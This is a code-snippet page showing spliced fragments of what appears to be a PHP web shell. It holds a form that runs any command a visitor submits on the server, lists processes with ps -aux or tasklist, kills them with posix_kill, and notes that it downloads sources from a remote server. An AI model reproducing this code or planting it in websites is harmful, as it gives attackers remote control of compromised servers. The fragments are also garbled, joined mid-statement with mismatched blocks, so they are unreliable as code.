Exemple #1
0
         $ret = convert_cyr_string($ret, "d", "w");
         ob_clean();
         echo $tmp;
         if ($cmd_txt) {
             $rows = count(explode("\n", $ret)) + 1;
             if ($rows < 10) {
                 $rows = 10;
             }
             echo "<br><textarea cols=\"122\" rows=\"" . $rows . "\" readonly>" . htmlspecialchars($ret) . "</textarea>";
         } else {
             echo $ret;
         }
     } else {
         if ($cmd_txt) {
             echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
             myshellexec($cmd);
             echo "</textarea>";
         } else {
             echo $ret;
         }
     }
     @chdir($olddir);
 } else {
     echo "<b>Execution command</b>";
     if (empty($cmd_txt)) {
         $cmd_txt = true;
     }
 }
 echo "<form action=\"" . $surl . "act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">" . htmlspecialchars($cmd) . "</textarea><input type=\"hidden\" name=\"d\" value=\"" . $dispd . "\"><br><br><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\"";
 if ($cmd_txt) {
     echo " checked";
	 </tr>
     
 </table><?php 
        }
        if ($act == "cmd") {
            if (trim($cmd) == "ps -aux") {
                $act = "processes";
            } elseif (trim($cmd) == "tasklist") {
                $act = "processes";
            } else {
                @chdir($chdir);
                if (!empty($submit)) {
                    echo "<b>Result of execution this command</b>:<br>";
                    $olddir = realpath(".");
                    @chdir($d);
                    $ret = myshellexec($cmd);
                    $ret = convert_cyr_string($ret, "d", "w");
                    if ($cmd_txt) {
                        $rows = count(explode("\r\n", $ret)) + 1;
                        if ($rows < 10) {
                            $rows = 10;
                        }
                        echo "<br><textarea cols=\"122\" rows=\"" . $rows . "\" readonly>" . htmlspecialchars($ret) . "</textarea>";
                    } else {
                        echo $ret . "<br>";
                    }
                    @chdir($olddir);
                } else {
                    echo "<b>Execution command</b>";
                    if (empty($cmd_txt)) {
                        $cmd_txt = TRUE;
            if ($k == $bc["src"]) {
                echo " selected";
            }
            echo ">" . $v[0] . "</option>";
        }
        ?>
</select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php 
    }
    if ($act == "processes") {
        echo "<b>Processes:</b><br>";
        if (!$win) {
            $handler = "ps -aux" . ($grep ? " | grep '" . addslashes($grep) . "'" : "");
        } else {
            $handler = "tasklist";
        }
        $ret = myshellexec($handler);
        if (!$ret) {
            echo "Can't execute \"" . $handler . "\"!";
        } else {
            if (empty($processes_sort)) {
                $processes_sort = $sort_default;
            }
            $parsesort = parsesort($processes_sort);
            if (!is_numeric($parsesort[0])) {
                $parsesort[0] = 0;
            }
            $k = $parsesort[0];
            if ($parsesort[1] != "a") {
                $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "a\">[sort_desc]</a>";
            } else {
                $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "d\">[sort_asc]</a>";
 if ($win) {
     echo "This function not work in Windows!<br><br>";
 } else {
     if ($pid) {
         if (!$sig) {
             $sig = 9;
         }
         echo "Sending signal " . $sig . " to #" . $pid . "... ";
         $ret = posix_kill($pid, $sig);
         if ($ret) {
             echo "ok. he is dead, amen.";
         } else {
             echo "ERROR.";
         }
     }
     $ret = myshellexec("ps -aux");
     if (!$ret) {
         echo "Can't execute \"ps -aux\"!";
     } else {
         $ret = htmlspecialchars($ret);
         while (ereg("  ", $ret)) {
             $ret = str_replace("  ", " ", $ret);
         }
         $stack = explode("\n", $ret);
         $head = explode(" ", $stack[0]);
         unset($stack[0]);
         if (empty($ps_aux_sort)) {
             $ps_aux_sort = $sort_default;
         }
         if (!is_numeric($ps_aux_sort[0])) {
             $ps_aux_sort[0] = 0;